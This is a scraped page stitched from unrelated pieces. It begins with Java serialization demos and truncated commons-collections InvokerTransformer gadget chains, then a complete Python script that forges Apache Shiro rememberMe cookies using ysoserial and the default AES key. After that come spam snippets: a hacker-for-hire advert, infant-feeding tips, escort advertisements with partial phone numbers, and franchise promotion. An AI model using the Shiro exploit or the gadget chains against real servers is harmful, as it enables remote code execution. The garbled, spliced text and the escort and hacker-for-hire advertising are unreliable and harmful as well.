class User{ private String name; private int age; @Override public String toString(){ return "User
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { User user=new User(); Class clz=user.getClass(); Method method=clz.getMethod("setName", String.class); Method method1=clz.getMethod("setAge", int.class); method1.invoke(user,21); method.invoke(user,"fortheone"); System.out.println(user); }
import java.io.*; public class test1 { public static void main(String[] args){ User user=new User("fortheone", 21); try { // 创建一个FIleOutputStream FileOutputStream fos=new FileOutputStream("https://www.freebuf.com/articles/network/user.ser"); // 将这个FIleOutputStream封装到ObjectOutputStream中 ObjectOutputStream os=new ObjectOutputStream(fos); // 调用writeObject *** ,序列化对象到文件user.ser中 os.writeObject(user); System.out.println("读取数据:"); // 创建一个FIleInutputStream FileInputStream fis=new FileInputStream("https://www.freebuf.com/articles/network/user.ser"); // 将FileInputStream封装到ObjectInputStream中 ObjectInputStream oi=new ObjectInputStream(fis); // 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型 User user1=(User)oi.readObject(); user1.info(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } class User implements Serializable{ private String name; private int age; public User(String name, int age) { this.name=name; this.age=age; } public void info(){ System.out.println("Name: "+name+", Age: "+age); } // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{ // System.out.println("[*]执行了自定义的readObject函数"); // } }
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Constructor; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import java.io.*; public class test { public static void main(String[] args) throws Exception{ Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]
import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class test { public static void main(String[] args) throws Exception { //1.客户端构建攻击代码 //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers=new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[]
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen=subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS=AES.block_size pad=lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv=uuid.uuid4().bytes encryptor=AES.new(key, AES.MODE_CBC, iv) file_body=pad(popen.stdout.read()) base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__=='__main__': payload=encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
怎么在电脑上当黑客(益安宁丸有多少人上当)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、...
宝宝在吃奶的过程中难免会发生一些突发情况,比如吐奶或溢奶。对于新手妈妈来说宝宝发生这两种情况时傻傻分不清,那么如何判断宝宝是吐奶还是溢奶呢,遇到此类情况如何处理。 溢奶 溢奶是指给婴儿喂奶后,无压...
“伴游白城-【吴蕊】” 学历:本科邮箱:n25**n*c@*.com职业:高端外围女手机号:12794***192微博地址:2814 电话:83***566为了真实、安全、靠谱,宁波高端...
2014年互联网火气大一个网络红人称为大力哥,这人往往火的缘故便是它的经典语句”大力出奇迹”、”一天少花500,我浑身酸疼”等词句当初在互联网上可以说人气值受欢迎。六年早已过去,那时候风靡互联网的大力...
上国外wei模特预约,美女学妹水风预定方式,今日为大伙儿详细介绍如果服务平台的美空模特水风,年纪28,个子167的高档商务接待等基本资料,大家将出示女学妹的联系电话、价钱、照片、要多少钱、预定步骤及商...
连年来的炸鸡成长的形式还长短常的还不错的,相信各人对付炸鸡品牌的喜爱水平已经是溢于言表了,因为这样的成长形势,在市场上也呈现了大量的炸鸡加盟品牌,对付炸鸡加盟品牌各人已经有了本身的相识和认识,那么想要...